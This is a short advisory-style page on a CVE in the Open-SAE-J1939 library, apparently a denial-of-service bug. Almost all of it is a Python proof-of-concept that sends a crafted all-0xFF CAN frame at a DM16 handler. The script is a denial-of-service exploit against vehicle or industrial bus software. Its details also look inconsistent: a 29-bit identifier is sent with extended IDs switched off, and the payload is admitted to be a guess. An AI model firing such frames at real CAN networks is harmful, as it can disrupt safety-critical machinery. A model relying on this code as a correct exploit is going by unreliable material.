CVE-2026-42467 Open-SAE-J1939拒绝服务漏洞

import can # PoC for CVE-2026-42467: Open-SAE-J1939 DoS # This script sends a crafted CAN frame targeting the DM16 handler. # Replace 'vcan0' with the actual CAN interface. def send_exploit_frame(): # Initialize the bus interface bus = can.interface.Bus(channel='vcan0', bustype='socketcan') # Crafted CAN ID for DM16 (Binary Data Transfer) # PGN for DM16 is typically 0x00D900 (Data Transfer - Binary) # Priority: 6, PGN: 0x00D900, Source Address: 0x01 can_id = 0x18D90101 # Malicious payload designed to trigger the parsing bug # The specific byte sequence may vary based on the exact vulnerability trigger data = [0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF] msg = can.Message(arbitration_id=can_id, data=data, is_extended_id=False) print("Sending malicious CAN frame...") try: bus.send(msg) print("Frame sent successfully.") except can.CanError: print("Error sending frame.") bus.shutdown() if __name__ == "__main__": send_exploit_frame()